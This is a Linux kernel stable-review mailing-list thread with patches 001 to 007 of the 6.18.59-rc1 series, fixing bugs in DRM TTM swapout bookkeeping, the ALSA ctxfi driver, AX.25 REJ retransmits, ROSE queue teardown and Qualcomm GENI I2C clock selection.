210 files changed, 2271 insertions(+), 1951 deletions(-)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 001/193] drm/ttm: fix swapped-out resources never leaving their bulk_move range
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 002/193] ALSA: ctxfi: Dont enumerate SPDIF1 at DAIO initialization Greg Kroah-Hartman
` (202 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Vadim Nikitushkin,
Thomas Hellström, Christian König, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vadim Nikitushkin <bub4z0r@gmail.com>
commit 3db7d7d583419f7b1f2e141e36418802dbb25cf8 upstream.
ttm_tt_swapout() returns the number of pages swapped out on success and
a negative error code on failure; for a populated ttm it never returns
zero. Commit b2ed01e7ad3d ("drm/ttm: Fix ttm_bo_swapout() infinite LRU
walk on swapout failure") moved the bulk_move bookkeeping in
ttm_bo_swapout_cb() under "if (!ret)", so the
ttm_resource_del_bulk_move_unevictable() / ttm_resource_move_to_lru_tail()
pair is now skipped on every successful swapout. The equivalent change
for the shrinker in commit 1d59f36e95f7 ("drm/ttm: Fix ttm_bo_shrink()
infinite LRU walk on backup failure") tests "lret > 0", which is what
was intended here as well.
Before b2ed01e7ad3d the resource was taken off the bulk_move before the
swapout; since then a swapped-out resource stays inside its BO's
bulk_move range (and on the manager LRU) although it is unevictable.
When it is later freed or the BO leaves the bulk_move
(ttm_resource_free(), ttm_bo_set_bulk_move() via amdgpu_vm_bo_del()),
ttm_resource_del_bulk_move() skips it because of its
!ttm_resource_unevictable() guard, so a range endpoint in pos->first /
pos->last is left pointing at freed memory. The next
ttm_lru_bulk_move_tail() or ttm_resource_add_bulk_move() on that cursor
is a use-after-free, seen as the resv WARN in ttm_lru_bulk_move_add(),
"list_del corruption" in ttm_resource_move_to_lru_tail() or a NULL
dereference in ttm_resource_manager_next() -- minutes to hours after a
hibernation, or at process exit / reboot following one. Samuel
Ainsworth's analysis of drm/amd issue 5387 (see Link) identified the
dangling cursor; the missing removal at swapout time is the reason it
dangles.
Testing the condition for success restores the removal. On an AMD
Phoenix APU (ASUS UM3406GA, gfx1103) running suspend-then-hibernate on
a 7.0.y stable kernel carrying the backport (Ubuntu 7.0.0-31) the bug
crashed 5 of 18 hibernation cycles; a function profile of one
hibernation showed 336 ttm_tt_swapout() calls and zero
ttm_resource_del_bulk_move_unevictable() calls. With this change the
removal happens for every swapped-out resource and 12 further cycles
were clean.
Fixes: b2ed01e7ad3d ("drm/ttm: Fix ttm_bo_swapout() infinite LRU walk on swapout failure")
Cc: stable@vger.kernel.org # v7.1+
Closes: https://gitlab.freedesktop.org/drm/amd/-/issues/5387
Link: https://lore.kernel.org/dri-devel/CAHYiNPa6aVacJoLOje-qZ1GyYx-9p0tN4NuP8D_eSL+UJeevXw@mail.gmail.com/
Signed-off-by: Vadim Nikitushkin <bub4z0r@gmail.com>
Reviewed-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Christian König <christian.koenig@amd.com>
Link: https://lore.kernel.org/r/20260909205028.13799-1-bub4z0r@gmail.com
[ Squashed with commit fcfe64715b425262af1b36f498f9197f3537ceed
("drm/ttm: apply the swapout bulk_move fix to the intended condition"):
upstream 3db7d7d58341 was applied to the "if (ret)" after
ttm_resource_try_charge() in ttm_bo_alloc_at_place() instead of the
"if (!ret)" after ttm_tt_swapout() in ttm_bo_swapout_cb(), and
fcfe64715b42 restored the former and changed the latter. 7.2.y has no
ttm_resource_try_charge() (dmem cgroup charging is 7.3 material), so
neither commit applies on its own; the net effect of the two is the
single hunk below, which is the change the changelog describes. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/ttm/ttm_bo.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/ttm/ttm_bo.c b/drivers/gpu/drm/ttm/ttm_bo.c
index 493471012820e..de04814a2e967 100644
--- a/drivers/gpu/drm/ttm/ttm_bo.c
+++ b/drivers/gpu/drm/ttm/ttm_bo.c
@@ -1176,7 +1176,7 @@ ttm_bo_swapout_cb(struct ttm_lru_walk *walk, struct ttm_buffer_object *bo)
if (ttm_tt_is_populated(tt)) {
ret = ttm_tt_swapout(bdev, tt, swapout_walk->gfp_flags);
- if (!ret) {
+ if (ret > 0) {
spin_lock(&bdev->lru_lock);
ttm_resource_del_bulk_move_unevictable(bo->resource, bo);
ttm_resource_move_to_lru_tail(bo->resource);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 002/193] ALSA: ctxfi: Dont enumerate SPDIF1 at DAIO initialization
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 001/193] drm/ttm: fix swapped-out resources never leaving their bulk_move range Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 003/193] ALSA: ctxfi: Rename SPDIFI1 to SPDIFI_BAY Greg Kroah-Hartman
` (201 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Takashi Iwai, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Iwai <tiwai@suse.de>
[ Upstream commit 75dc1980cf48826287e43dc7a49e310c6691f97e ]
The recent refactoring of xfi driver changed the assignment of
atc->daios[] at atc_get_resources(); now it loops over all enum
DAIOTYP entries while it looped formerly only a part of them.
The problem is that the last entry, SPDIF1, is a special type that
is used only for hw20k1 CTSB073X model (as a replacement of SPDIFIO),
and there is no corresponding definition for hw20k2. Due to the lack
of the info, it caused a kernel crash on hw20k2, which was already
worked around by the commit b045ab3dff97 ("ALSA: ctxfi: Fix missing
SPDIFI1 index handling").
This patch addresses the root cause of the regression above properly,
simply by skipping the incorrect SPDIF1 type in the parser loop.
For making the change clearer, the code is slightly arranged, too.
Fixes: a2dbaeb5c61e ("ALSA: ctxfi: Refactor resource alloc for sparse mappings")
Cc: <stable@vger.kernel.org>
Link: https://bugzilla.suse.com/show_bug.cgi?id=1259925
Link: https://patch.msgid.link/20260331081227.216134-1-tiwai@suse.de
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/pci/ctxfi/ctatc.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
diff --git a/sound/pci/ctxfi/ctatc.c b/sound/pci/ctxfi/ctatc.c
index 7cb33d7c43d2f..79dc4aed736cd 100644
--- a/sound/pci/ctxfi/ctatc.c
+++ b/sound/pci/ctxfi/ctatc.c
@@ -1401,10 +1401,12 @@ static int atc_get_resources(struct ct_atc *atc)
daio_mgr = (struct daio_mgr *)atc->rsc_mgrs[DAIO];
da_desc.msr = atc->msr;
for (i = 0; i < NUM_DAIOTYP; i++) {
- if ((i == MIC) && !cap.dedicated_mic)
+ if (((i == MIC) && !cap.dedicated_mic) || i == SPDIFI1)
continue;
- da_desc.type = (atc->model != CTSB073X) ? i :
- ((i == SPDIFIO) ? SPDIFI1 : i);
+ if (atc->model == CTSB073X && i == SPDIFIO)
+ da_desc.type = SPDIFI1;
+ else
+ da_desc.type = i;
da_desc.output = i < LINEIM;
err = daio_mgr->get_daio(daio_mgr, &da_desc,
(struct daio **)&atc->daios[i]);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 003/193] ALSA: ctxfi: Rename SPDIFI1 to SPDIFI_BAY
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 001/193] drm/ttm: fix swapped-out resources never leaving their bulk_move range Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 002/193] ALSA: ctxfi: Dont enumerate SPDIF1 at DAIO initialization Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 004/193] ALSA: ctxfi: Use correct DAIO type for da_desc Greg Kroah-Hartman
` (200 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Harin Lee, Takashi Iwai, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Harin Lee <me@harin.net>
[ Upstream commit c6cd83cceec5f2a1e2dd319d98640b1f0007d668 ]
Rename the SPDIFI1 enum value to SPDIFI_BAY to better reflect its
purpose as the S/PDIF input on the internal drive bay, as opposed to
the S/PDIF input via Flexijack or optical (SPDIFIO; not SPDIFI-zero).
Signed-off-by: Harin Lee <me@harin.net>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Link: https://patch.msgid.link/20260401090159.2404387-2-me@harin.net
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/pci/ctxfi/ctatc.c | 4 ++--
sound/pci/ctxfi/ctdaio.c | 6 +++---
sound/pci/ctxfi/ctdaio.h | 2 +-
3 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/sound/pci/ctxfi/ctatc.c b/sound/pci/ctxfi/ctatc.c
index 79dc4aed736cd..5f2eef00009c5 100644
--- a/sound/pci/ctxfi/ctatc.c
+++ b/sound/pci/ctxfi/ctatc.c
@@ -1401,10 +1401,10 @@ static int atc_get_resources(struct ct_atc *atc)
daio_mgr = (struct daio_mgr *)atc->rsc_mgrs[DAIO];
da_desc.msr = atc->msr;
for (i = 0; i < NUM_DAIOTYP; i++) {
- if (((i == MIC) && !cap.dedicated_mic) || i == SPDIFI1)
+ if (((i == MIC) && !cap.dedicated_mic) || i == SPDIFI_BAY)
continue;
if (atc->model == CTSB073X && i == SPDIFIO)
- da_desc.type = SPDIFI1;
+ da_desc.type = SPDIFI_BAY;
else
da_desc.type = i;
da_desc.output = i < LINEIM;
diff --git a/sound/pci/ctxfi/ctdaio.c b/sound/pci/ctxfi/ctdaio.c
index fe40fcee36739..55d9c5c3d9bd3 100644
--- a/sound/pci/ctxfi/ctdaio.c
+++ b/sound/pci/ctxfi/ctdaio.c
@@ -35,7 +35,7 @@ static const struct daio_rsc_idx idx_20k1[NUM_DAIOTYP] = {
[LINEIM] = {.left = 0x1b5, .right = 0x1bd},
[SPDIFOO] = {.left = 0x20, .right = 0x21},
[SPDIFIO] = {.left = 0x15, .right = 0x1d},
- [SPDIFI1] = {.left = 0x95, .right = 0x9d},
+ [SPDIFI_BAY] = {.left = 0x95, .right = 0x9d},
};
static const struct daio_rsc_idx idx_20k2[NUM_DAIOTYP] = {
@@ -105,7 +105,7 @@ static int daio_device_index(enum DAIOTYP type, struct hw *hw)
switch (type) {
case SPDIFOO: return 0;
case SPDIFIO: return 0;
- case SPDIFI1: return 1;
+ case SPDIFI_BAY: return 1;
case LINEO1: return 4;
case LINEO2: return 7;
case LINEO3: return 5;
@@ -119,7 +119,7 @@ static int daio_device_index(enum DAIOTYP type, struct hw *hw)
switch (type) {
case SPDIFOO: return 0;
case SPDIFIO: return 0;
- case SPDIFI1: return 1;
+ case SPDIFI_BAY: return 1;
case LINEO1: return 4;
case LINEO2: return 7;
case LINEO3: return 5;
diff --git a/sound/pci/ctxfi/ctdaio.h b/sound/pci/ctxfi/ctdaio.h
index b337da2de8b50..cc2e93a3edda9 100644
--- a/sound/pci/ctxfi/ctdaio.h
+++ b/sound/pci/ctxfi/ctdaio.h
@@ -31,7 +31,7 @@ enum DAIOTYP {
LINEIM,
SPDIFIO, /* S/PDIF In (Flexijack/Optical) on the card */
MIC, /* Dedicated mic on Titanium HD */
- SPDIFI1, /* S/PDIF In on internal Drive Bay */
+ SPDIFI_BAY, /* S/PDIF In on internal drive bay */
NUM_DAIOTYP
};
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 004/193] ALSA: ctxfi: Use correct DAIO type for da_desc
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (2 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 003/193] ALSA: ctxfi: Rename SPDIFI1 to SPDIFI_BAY Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 005/193] ax25: bound REJ-driven fast retransmits with the existing N2 counter Greg Kroah-Hartman
` (199 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Harin Lee, Takashi Iwai, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Harin Lee <me@harin.net>
[ Upstream commit 07b116b44e52d78af40c2d39a8e1e34ef1283d0d ]
Skip the unused DAIO type per model (SPDIFIO on CTSB073X, SPDIFI_BAY
on all others) and use the correct DAIO type directly as da_desc
type. This removes the mismatch and misleading between the actual
DAIO resource and the da_desc type like SPDIFI_BAY (formerly SPDIFI1).
Update related functions accordingly, and drop the unreachable
SPDIFI_BAY case from the hw20k2 daio_device_index().
Signed-off-by: Harin Lee <me@harin.net>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Link: https://patch.msgid.link/20260401090159.2404387-3-me@harin.net
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/pci/ctxfi/ctatc.c | 18 +++++++++++-------
sound/pci/ctxfi/ctdaio.c | 1 -
2 files changed, 11 insertions(+), 8 deletions(-)
diff --git a/sound/pci/ctxfi/ctatc.c b/sound/pci/ctxfi/ctatc.c
index 5f2eef00009c5..da728549ce42b 100644
--- a/sound/pci/ctxfi/ctatc.c
+++ b/sound/pci/ctxfi/ctatc.c
@@ -981,6 +981,11 @@ static int atc_select_mic_in(struct ct_atc *atc)
return 0;
}
+static inline enum DAIOTYP atc_spdif_in_type(struct ct_atc *atc)
+{
+ return (atc->model == CTSB073X) ? SPDIFI_BAY : SPDIFIO;
+}
+
static struct capabilities atc_capabilities(struct ct_atc *atc)
{
struct hw *hw = atc->hw;
@@ -1096,7 +1101,7 @@ static int atc_spdif_out_unmute(struct ct_atc *atc, unsigned char state)
static int atc_spdif_in_unmute(struct ct_atc *atc, unsigned char state)
{
- return atc_daio_unmute(atc, state, SPDIFIO);
+ return atc_daio_unmute(atc, state, atc_spdif_in_type(atc));
}
static int atc_spdif_out_get_status(struct ct_atc *atc, unsigned int *status)
@@ -1401,12 +1406,11 @@ static int atc_get_resources(struct ct_atc *atc)
daio_mgr = (struct daio_mgr *)atc->rsc_mgrs[DAIO];
da_desc.msr = atc->msr;
for (i = 0; i < NUM_DAIOTYP; i++) {
- if (((i == MIC) && !cap.dedicated_mic) || i == SPDIFI_BAY)
+ if (((i == SPDIFIO) && (atc->model == CTSB073X)) ||
+ ((i == SPDIFI_BAY) && (atc->model != CTSB073X)) ||
+ ((i == MIC) && !cap.dedicated_mic))
continue;
- if (atc->model == CTSB073X && i == SPDIFIO)
- da_desc.type = SPDIFI_BAY;
- else
- da_desc.type = i;
+ da_desc.type = i;
da_desc.output = i < LINEIM;
err = daio_mgr->get_daio(daio_mgr, &da_desc,
(struct daio **)&atc->daios[i]);
@@ -1535,7 +1539,7 @@ static void atc_connect_resources(struct ct_atc *atc)
mixer->set_input_right(mixer, MIX_MIC_IN, &src->rsc);
}
- dai = container_of(atc->daios[SPDIFIO], struct dai, daio);
+ dai = container_of(atc->daios[atc_spdif_in_type(atc)], struct dai, daio);
atc_connect_dai(atc->rsc_mgrs[SRC], dai,
(struct src **)&atc->srcs[0],
(struct srcimp **)&atc->srcimps[0]);
diff --git a/sound/pci/ctxfi/ctdaio.c b/sound/pci/ctxfi/ctdaio.c
index 55d9c5c3d9bd3..1c12fffce1a2d 100644
--- a/sound/pci/ctxfi/ctdaio.c
+++ b/sound/pci/ctxfi/ctdaio.c
@@ -119,7 +119,6 @@ static int daio_device_index(enum DAIOTYP type, struct hw *hw)
switch (type) {
case SPDIFOO: return 0;
case SPDIFIO: return 0;
- case SPDIFI_BAY: return 1;
case LINEO1: return 4;
case LINEO2: return 7;
case LINEO3: return 5;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 005/193] ax25: bound REJ-driven fast retransmits with the existing N2 counter
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (3 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 004/193] ALSA: ctxfi: Use correct DAIO type for da_desc Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 006/193] rose: purge rose_neigh->queue on final teardown Greg Kroah-Hartman
` (198 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Bernard Pidoux, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bernard Pidoux <bernard.f6bvp@gmail.com>
REJ deliberately bypasses the T1/N2 backoff to trigger an immediate
go-back-N retransmit -- that is the whole point of REJ, fast recovery
from a single lost or out-of-order frame. But unlike every other
recovery path in this same state machine (T1 timeout, state 4
enquiry/DM, state 1/2 SABM retries), the REJ case in
ax25_std_state3_machine() never touches n2count, so it has no bound.
If something keeps corrupting or reordering every retransmitted burst
-- lossy RF, or packet reordering over a UDP-based transport such as
axudp -- each attempt draws an immediate fresh REJ and the link
retransmits at wire/CPU speed indefinitely, a "machine-gun" storm that
never reaches the N2 give-up already relied on everywhere else in this
file.
Reported independently twice: Chris Maness (KQ6UP) on a plain AX.25
link with no ROSE involved at all, and observed live on a ROSE/FPAC
White Pages link (f6bvp-8<->f6bvp-10, same LAN, so plain network
reordering over the Internet is not the trigger there -- likely lossy
retransmission of the same PDU) reaching ~5900 pkt/s. Both hit the same
code path since ax25_std_in.c is shared regardless of what rides on
top of AX.25.
Count consecutive REJ-driven fast retransmits the same way a T1
timeout already does in this state, and once N2 of them have failed to
get an in-sequence frame through, fall back to the paced state 4
enquiry -- which will genuinely disconnect after N2 further tries if
the link stays bad, exactly like every other recovery path already
does. A single frame accepted in sequence resets the counter, so an
isolated REJ during otherwise healthy traffic never gets close to N2.
Deployed on three Raspberry Pi nodes (f6bvp-12, f6bvp-8, f6bvp-10)
since 2026-09-13, running live production AX.25/ROSE/NET-ROM traffic
since, with no recurrence of the machine-gun storm and no other AX.25
regression observed.
Signed-off-by: Bernard Pidoux <bernard.f6bvp@gmail.com>
(cherry picked from commit a3aa611e37d4345ebcc98c847dedaf4bcf23c7ee)
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/ax25/ax25_std_in.c | 36 ++++++++++++++++++++++++++++++++++++
1 file changed, 36 insertions(+)
diff --git a/net/ax25/ax25_std_in.c b/net/ax25/ax25_std_in.c
index ba176196ae068..f280683f83fcf 100644
--- a/net/ax25/ax25_std_in.c
+++ b/net/ax25/ax25_std_in.c
@@ -196,6 +196,38 @@ static int ax25_std_state3_machine(ax25_cb *ax25, struct sk_buff *skb, int frame
if (ax25_validate_nr(ax25, nr)) {
ax25_frames_acked(ax25, nr);
ax25_calculate_rtt(ax25);
+ /*
+ * REJ triggers an immediate go-back-N retransmit,
+ * deliberately bypassing the T1/N2 backoff that
+ * paces every other recovery path in this state
+ * machine -- that is the whole point of REJ, fast
+ * recovery from a single lost/out-of-order frame.
+ * But unlike every other recovery path here, this
+ * one never touches n2count, so it has no bound: if
+ * something keeps corrupting or reordering each
+ * retransmitted burst (lossy RF, or reordering over
+ * a UDP-based link such as axudp), every attempt
+ * draws an immediate fresh REJ and the link is
+ * retransmitted at wire/CPU speed indefinitely
+ * ("machine-gun" storm), never reaching the N2 give
+ * up that bounds every other recovery attempt.
+ * Count consecutive REJ-driven fast retransmits the
+ * same way a T1 timeout would in this state, and
+ * once N2 of them have failed to make it through,
+ * fall back to the normal paced state 4 enquiry
+ * (which will genuinely give up and disconnect after
+ * N2 further tries if the link stays bad). A single
+ * frame accepted in sequence resets the counter (see
+ * the AX25_I case below), so an isolated REJ during
+ * otherwise healthy traffic never gets close to N2.
+ */
+ if (ax25->n2count == ax25->n2) {
+ ax25->n2count = 1;
+ ax25_std_transmit_enquiry(ax25);
+ ax25->state = AX25_STATE_4;
+ break;
+ }
+ ax25->n2count++;
ax25_stop_t1timer(ax25);
ax25_start_t3timer(ax25);
ax25_requeue_frames(ax25);
@@ -226,6 +258,10 @@ static int ax25_std_state3_machine(ax25_cb *ax25, struct sk_buff *skb, int frame
if (ax25->condition & AX25_COND_OWN_RX_BUSY)
ax25->vr = ns; /* ax25->vr - 1 */
ax25->condition &= ~AX25_COND_REJECT;
+ /* Genuine forward progress: a frame made it through in
+ * sequence, so this is not part of a REJ storm.
+ */
+ ax25->n2count = 0;
if (pf) {
ax25_std_enquiry_response(ax25);
} else {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 006/193] rose: purge rose_neigh->queue on final teardown
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (4 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 005/193] ax25: bound REJ-driven fast retransmits with the existing N2 counter Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 007/193] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
` (197 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Bernard Pidoux, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bernard Pidoux <bernard.f6bvp@gmail.com>
rose_transmit_link() queues an outgoing frame on rose_neigh->queue
instead of sending it immediately whenever the neighbour isn't
"restarted" yet (link not up) -- notably the CLEAR_REQUEST built by
rose_write_internal() when a socket is released (e.g. its owning
process is killed) while the underlying AX.25 link to that neighbour
is still coming up.
rose_neigh_put() already tears down both timers and drops the ax25/
digipeat references before freeing the neighbour, but never empties
this queue. kfree(rose_neigh) only frees the rose_neigh struct itself
(the sk_buff_head embedded in it is just three next/prev/len words),
not the skbs still linked into it -- every frame still queued here at
that point leaks for good.
rose_remove_neigh() (rose_route.c) already purges this same queue, but
it is only one of about two dozen call sites that can drop the last
reference and trigger the real kfree() in rose_neigh_put() -- every
socket releasing its own rose->neighbour reference (af_rose.c,
rose_in.c, rose_timer.c) can just as well be the one that does. Doing
the purge once, centrally, in rose_neigh_put() itself covers all of
them regardless of which call site happens to be last, rather than
relying on whichever caller happened to remember it.
Matches a leak pattern observed and documented back in May 2026
(mailbbs killed -> rose_release() -> rose_write_internal() ->
rose_transmit_link() queues the CLEAR_REQUEST -> skb never freed),
never root-caused until now.
Deployed and running since 2026-09-13/15 on three independent nodes
(f6bvp-12, f6bvp-8, f6bvp-10 -- three different kernel bases,
6.12.94/6.18.46/6.18.34), no regression observed.
Signed-off-by: Bernard Pidoux <bernard.f6bvp@gmail.com>
(cherry picked from commit e59e4523182e4f58f4f29b5e4bce44c1ef152d70)
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/net/rose.h | 12 ++++++++++++
1 file changed, 12 insertions(+)
diff --git a/include/net/rose.h b/include/net/rose.h
index 0d957b8dd0ba3..49140668b3dd0 100644
--- a/include/net/rose.h
+++ b/include/net/rose.h
@@ -180,6 +180,18 @@ static inline void rose_neigh_put(struct rose_neigh *rose_neigh)
*/
timer_shutdown_sync(&rose_neigh->ftimer);
timer_shutdown_sync(&rose_neigh->t0timer);
+ /* rose_transmit_link() queues a frame here instead of sending
+ * it immediately whenever the neighbour isn't "restarted" yet
+ * (link not up) -- e.g. the CLEAR_REQUEST built by
+ * rose_write_internal() when a socket is released while its
+ * underlying AX.25 link is still coming up. If this neighbour
+ * is freed before that link ever comes up, nothing else ever
+ * empties this queue: kfree() below only frees the
+ * rose_neigh struct itself (including the three next/prev/len
+ * words of the sk_buff_head), not the skbs it points to,
+ * leaking every frame still queued here.
+ */
+ skb_queue_purge(&rose_neigh->queue);
if (rose_neigh->ax25)
ax25_cb_put(rose_neigh->ax25);
kfree(rose_neigh->digipeat);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 007/193] i2c: qcom-geni: Restore the source-clock selection policy
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (5 preceding siblings ...)
2026-10-23 16:34 ` [PATCH 6.18 006/193] rose: purge rose_neigh->queue on final teardown Greg Kroah-Hartman
@ 2026-10-23 16:34 ` Greg Kroah-Hartman
2026-10-23 16:34 ` [PATCH 6.18 008/193] kho: free phys_bits bitmaps using free_page() in __kho_abort() Greg Kroah-Hartman
` (196 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:34 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Abel Vesa, Hasty Heat,
Mitchell Augustin, Andi Shyti, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Abel Vesa <abel.vesa@oss.qualcomm.com>
[ Upstream commit 8cb5c17be3a2fadc41075d04ce1c24c831546aaf ]
Currently, the source clock lookup prefers 32 MHz whenever that rate is
available, regardless of the rate configured by the platform. Before the
switch to looking up the clock index, the driver used the 32 MHz timing
table only if the current source clock rate was 32 MHz, and the 19.2 MHz
table otherwise.
On X1E80100 CRD, this results in switching the source clock from 19.2 MHz
to 32 MHz, which causes intermittent failures when probing the I2C HID
keyboard. These range from corrupted HID descriptors to failed resets
and transfer timeouts, which also affect the touchpad on the same bus.
Restore the original selection policy: use 32 MHz if already selected,
otherwise request 19.2 MHz. Look up the index for the selected rate and
keep the check that rejects higher-frequency multiples. This retains
the dynamic clock index lookup without preferring 32 MHz on platforms
that previously used 19.2 MHz. Report the requested rate if the lookup
fails.
Fixes: cb97bf3d4f91 ("i2c: qcom-geni: Fix hardcoded clock index in SE_GENI_CLK_SEL")
Assisted-by: LLM
Signed-off-by: Abel Vesa <abel.vesa@oss.qualcomm.com>
Tested-by: Hasty Heat <hastyheat@gmail.com>
Tested-by: Mitchell Augustin <mitchell.augustin@canonical.com>
Reviewed-by: Mitchell Augustin <mitchell.augustin@canonical.com>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20260928-b4-i2c-qcom-geni-preserve-source-clock-v1-1-9aded7552a76@oss.qualcomm.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/i2c/busses/i2c-qcom-geni.c | 37 ++++++++++++++++--------------
1 file changed, 20 insertions(+), 17 deletions(-)
diff --git a/drivers/i2c/busses/i2c-qcom-geni.c b/drivers/i2c/busses/i2c-qcom-geni.c
index 307e2e4030af9..fbfffbec05e14 100644
--- a/drivers/i2c/busses/i2c-qcom-geni.c
+++ b/drivers/i2c/busses/i2c-qcom-geni.c
@@ -169,28 +169,31 @@ static const struct geni_i2c_clk_fld geni_i2c_clk_map_32mhz[] = {
static int geni_i2c_clk_map_idx(struct geni_i2c_dev *gi2c)
{
const struct geni_i2c_clk_fld *itr;
- unsigned long res_freq;
+ unsigned long req_freq, res_freq;
+ int ret;
/*
- * Frequency counter tables are calibrated for a specific source
- * clock frequency and are not valid for any multiple of it
- * (e.g. 64 MHz, 128 MHz).
- * Use exact=true and verify res_freq matches req_freq literally
- * to reject harmonics: a 64 MHz clock that divides evenly to
- * 32 MHz would pass exact matching but produce double the intended
- * I2C frequency with these counter values.
+ * Use 32 MHz only if already selected, otherwise use 19.2 MHz.
+ * Preferring 32 MHz merely because DFS supports it breaks I2C
+ * transfers on X1E80100 CRD.
*/
- if (!geni_se_clk_freq_match(&gi2c->se, GENI_SE_CLK_32MHZ,
- &gi2c->clk_idx, &res_freq, true) &&
- res_freq == GENI_SE_CLK_32MHZ) {
+ if (clk_get_rate(gi2c->se.clk) == GENI_SE_CLK_32MHZ) {
+ req_freq = GENI_SE_CLK_32MHZ;
itr = geni_i2c_clk_map_32mhz;
- } else if (!geni_se_clk_freq_match(&gi2c->se, GENI_SE_CLK_19P2MHZ,
- &gi2c->clk_idx, &res_freq, true) &&
- res_freq == GENI_SE_CLK_19P2MHZ) {
- itr = geni_i2c_clk_map_19p2mhz;
} else {
- dev_err(gi2c->se.dev,
- "Unsupported SE source clock: must be exactly 32 MHz or 19.2 MHz\n");
+ req_freq = GENI_SE_CLK_19P2MHZ;
+ itr = geni_i2c_clk_map_19p2mhz;
+ }
+
+ ret = geni_se_clk_freq_match(&gi2c->se, req_freq, &gi2c->clk_idx,
+ &res_freq, true);
+ if (ret)
+ return dev_err_probe(gi2c->se.dev, ret,
+ "Failed to find SE source clock %lu Hz\n",
+ req_freq);
+ if (res_freq != req_freq) {
+ dev_err(gi2c->se.dev, "Unsupported SE source clock %lu Hz\n",
+ res_freq);
return -EINVAL;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
